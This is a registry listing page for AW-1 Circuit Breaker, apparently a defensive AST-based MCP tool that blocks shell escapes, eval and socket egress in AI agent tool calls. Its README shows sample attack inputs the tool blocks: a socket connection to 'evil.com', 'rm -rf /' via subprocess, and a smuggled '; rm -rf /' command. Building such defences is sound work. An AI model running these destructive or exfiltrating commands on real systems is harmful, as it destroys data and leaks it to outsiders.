AW-1 Sovereign Circuit Breaker

io.github.MvikManners由 GitHub 账号 MvikManners 发布v2.2.1更新于 Oct 25, 2026

Deterministic sub-0.2ms AST security circuit breaker and agent containment engine.

发布方自己的服务:Circuit

已验证SSE可网页运行开发者工具安全与监控

概览

AI 生成的概览

一个确定性的 AST 层安全断路器,在 Python 工具调用执行前进行检查,拦截 shell 逃逸、动态 eval 和套接字外联。

可以做什么
  • 在代码运行前以抽象语法树层面检查并验证代码片段,标记受限调用和未授权模块导入。
  • 拦截尝试 shell 逃逸、动态 eval 或隐蔽网络连接的智能体工具调用,返回拦截结果而不执行。
  • 对 shell 命令参数进行快速过滤,识别注入尝试。
  • 运行本地演示与漏洞利用展示,或对检查延迟进行基准测试。
  • 连接托管云网关,用于集中策略编排、审计合规与证明令牌。
适用场景
适用于助手或自主智能体执行 Python 或 shell 工具调用、且希望采用确定性执行前检查而非基于提示词的护栏的场景。适合需要阻止 eval、subprocess 和 socket 滥用的智能体流水线与 MCP 服务器。
运行要求
清单声明为无需认证的远程 SSE 端点;README 则描述本地使用方式,需要 Python 与 pip 依赖,或使用 uvx,也可通过 HOL Guard 或各运行时自带 CLI 安装插件。托管云网关是独立的商业服务。
安装前请注意
README 宣传按月配额和许可证密钥计费的云服务层级,请确认是否真的需要托管网关。清单声明的远程端点未要求认证,README 中的安装命令会运行第三方工具和插件,应用前请先审查。防护范围仅限于 AST 检查所能覆盖的内容。

安装

在 SourceWeft 中

  1. 打开 控制台中的 AW-1 Sovereign Circuit Breaker,将其添加到工作区。
  2. 为需要使用其工具的对话启用该服务。

Web executable,通过 SSE。 远程服务在工作区中配置后即可从网页运行时运行。

交给智能体安装

把这段提示词粘贴到 Claude Code、Codex、Cursor 等智能体,或 SourceWeft 对话中。智能体会读取该服务器的安装指南,先向你展示发布者、端点和登录方式,经你同意后再把它添加到你的客户端。密钥不会写进任何命令。

阅读 https://sourceweft.com/mcp/io.github.MvikManners%2Faw1-circuit-breaker/install.md,并按其中说明把这个 MCP 服务器接入我的客户端。修改任何配置之前,先告诉我它的发布者、端点和登录方式,等我确认。不要把 API 密钥写进命令或我会提交的文件;问我密钥应从哪里获取。

查看智能体所依据的安装指南

其他 MCP 客户端

把它添加到你客户端的 mcpServers 配置中。

{
  "mcpServers": {
    "aw-1-sovereign-circuit-breaker": {
      "type": "sse",
      "url": "https://p20.laveto.net/wisdom/mcp/sse"
    }
  }
}

README

Install with HOL Guard, which checks the HOL listing and asks before each runtime:

sh
hol-guard plugin install mvikmanners/aw1-circuit-breaker --apply

Get HOL Guard with pipx install hol-guard or uv tool install hol-guard.

Install with each runtime's own CLI
RuntimeCommands
Claude Codeclaude plugin marketplace add mvikmanners/aw1-circuit-breaker
claude plugin install aw1-circuit-breaker@aw1-circuit-breaker
Codexcodex plugin marketplace add mvikmanners/aw1-circuit-breaker
codex plugin add aw1-circuit-breaker@aw1-circuit-breaker

AW-1 Circuit Breaker

[HOL Guard]

[Glama]

[PyPI version] [License: MIT] [Latency]

Deterministic sub-0.2ms AST security circuit breaker for autonomous AI agents, tool dispatch pipelines, and MCP servers.


⚡ 10-Second Test Drive (Zero-Install)

Test the circuit breaker live in your terminal right now without installing anything:

bash
uvx aw1-circuit-breaker --demo

Or verify an arbitrary snippet:

bash
uvx aw1-circuit-breaker verify "subprocess.run(['rm', '-rf', '/'])"

AW-1 Circuit Breaker

[Glama Score]

Deterministic AST deconstruction and runtime circuit breaker preventing rogue shell escapes, dynamic eval(), and covert lateral socket egress in autonomous LLM tool calls.

Installation

bash
pip install -r requirements.txt

Running the Server

Run directly with Python:

bash
python mcp_server.py

Or via uvx:

bash
uvx mcp_server.py

MCP Client Configuration

json
{  "mcpServers": {    "aw1-circuit-breaker": {      "command": "python",      "args": ["mcp_server.py"]    }  }}

Exploit Interception in Action

AW-1 operates deterministically at the Abstract Syntax Tree (AST) level before code reaches Python's runtime execution frame. Probabilistic prompt-based guardrails fail under encoding obfuscation; AST inspection guarantees deterministic enforcement.

Interception Matrix

Attack VectorAttacker StrategyLLM Guardrail ResultAW-1 AST Circuit Breaker
Dynamic Executioneval(compile(...))Evades semantic filtersTripped (RESTRICTED_INVOCATION)
Shell Escapessubprocess.Popen(['bash', ...])Masked as system taskTripped (UNAUTHORIZED_MODULE_IMPORT)
Lateral Exfiltrationsocket.connect(('evil.com', 443))Disguised as HTTP fetchTripped (UNAUTHORIZED_MODULE_IMPORT)

Run the Showcase

bash
python examples/exploit_showcase.py

Runtime Latency Telemetry

Deterministic security must not throttle agent execution. AW-1 operates with sub-millisecond AST parsing and microsecond-scale argument filtering across warm execution loops.

Sample Size: 1,000 synthetic iterations per test vector on Debian Python 3.13.

Evaluation Targetp50 Latencyp95 Latencyp99 LatencyStatus
AST Inspection (Benign Payload)0.0889 ms0.1298 ms0.1645 ms< 0.2 ms Overhead
AST Inspection (Adversarial Exploit)0.0520 ms0.0919 ms0.1051 msInstant Breakout Halt
Shell Argument Injection Guard0.0051 ms0.0096 ms0.0195 msSub-20 µs Inspection

Reproduce locally:

bash
python benchmark.py

Framework Integration (LangGraph Example)

AW-1 drops directly into autonomous agent execution nodes prior to tool dispatch:

python
from examples.langgraph_adapter import execute_agent_action, CircuitBreakerException
# Guard autonomous agent tool dispatchestry:    execute_agent_action(bash_tool, "bash_tool", {"cmd": "cat log.txt; rm -rf /"})except CircuitBreakerException as blocked:    print(f"Tool call halted: {blocked}")

License

Licensed under the Apache License, Version 2.0. See LICENSE for details.


💳 Cloud Gateway & Commercial Licensing

While the open-source AST circuit breaker runs entirely local with sub-0.2ms overhead, enterprise teams and autonomous agent labs can connect to the hosted AW-1 Sovereign Cloud Gateway at https://p20.laveto.net for centralized policy orchestration, statutory audit compliance (BoB & Botswana DPA 2018), and hardware TEE attestation tokens.

TierPriceMonthly QuotaFeaturesCheckout
Developer ProBWP 650.00 / mo ($49 USD)100,000 Verified Audits1 commercial license key, offline HMAC validation, Layer 0 AST unpacker, community support👉 Subscribe Now
Team / StartupBWP 2,650.00 / mo ($199 USD)1,000,000 Verified Audits5 developer seat keys, Redis distributed state sync, rolling velocity caps, priority alerts👉 Subscribe Team
Enterprise DedicatedBWP 13,200.00 / mo ($990 USD)Unlimited Verified AuditsDedicated gateway tenant, custom statutory risk lenses, SLA guarantees, SHA-256 Decision Assurance Dossiers💬 Contact Enterprise

*Self-hosted open-source circuit breaking remains 100% free under the Apache-2.0 license.*Fri Oct 30 18:01:42 UTC 2026

来源:README.md,提交 e5ce0fa

工具

0
SourceWeft 尚未读取此服务器的工具。

版本历史

3
  1. v2.2.1最新Oct 25, 2026
  2. v2.1.0Oct 21, 2026
  3. v2.0.1Oct 20, 2026

评分

已满足适用检查项的 85%

该评分衡量此收录条目的完整程度,依据注册中心条目、端点与公开来源计算得出。它不是对服务器本身的评价,也不表示服务器安全或当前可用:可连通性是带日期的检查结果,评分也不包含安装量或用户评价。

  • 近 30 天内可连通必需25 分
  • 已声明认证方式必需10 分
  • 已列出工具必需15 分

    请让服务器在无凭据时响应 tools/list,或发布可在沙箱中无凭据启动的软件包。

  • 描述必需15 分
  • 图标10 分
  • 文档15 分
  • 许可证10 分

其他 Circuit 集成